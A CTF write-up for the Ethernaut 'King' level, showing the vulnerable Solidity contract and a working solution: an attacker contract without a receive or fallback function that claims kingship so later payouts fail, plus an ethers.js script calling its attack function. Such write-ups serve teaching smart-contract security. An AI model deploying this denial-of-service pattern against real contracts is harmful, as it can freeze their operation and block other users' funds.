Cracking the Code: Ethernault (Level 9 - King) CTF Challenge

Cracking the Code: Ethernault (Level 9 - King) CTF Challenge

The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in theEthereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

This challenge tests the player's knowledge about the implication of not using fallback or receive in a smart contract.

The challenge code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

The goal of this challenge is to break the contract. This means that normal actions will not be able to work properly anymore.

The way this contract works is that when any user sends ether greater than the prize to the contract, the user becomes the king. This process continues as long as someone decides to beat the prize, akin to a typical Ponzi scheme. The way to break this contract is to make it impossible to send ether to the latest king.

Solution

//SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

contract King {
    constructor() payable {}

    function attack() public payable {
        address payable addr = (payable(address(0x42D2c5e7b497186Ccf02B41b4DF387AF25e11020)));
        addr.call{value: 0.002 ether}("");
    }
}
const { ethers } = require("ethers");
const abi = require("../artifacts/contracts/King.sol/King.json");

const provider = ethers.getDefaultProvider(process.env.SEPO_API_KEY_URL);

const signer = new ethers.Wallet(process.env.SEPO_PRIVATE_KEY, provider);

(async () => {
  const contract = new ethers.Contract(
    "0x47Cc65c1aE043a2Be1aF263D0fd53BaD54aAf89E",
    abi.abi,
    signer
  );

  const ctx = await contract.attack();
  await ctx.wait();
})();

The solution contract

We create a King contract with a payable constructor, allowing us to send Ether into the contract during deployment. Next, we create an attack function. Inside this function, we send ether to the challenge contract. Our king contract does not have a receive or fallback function, which means it will not be able to receive ether.

The solution script

Firstly, we set up the ABI, provider, and signer. The ABI allows interaction with our solution contract, the provider facilitates interaction with the blockchain, and the signer is how the user interacts with the contract.

The next step is to call the attack function in the solution contract.

Conclusion

Thank you for reading; I hope you have gained valuable insights from this explanation.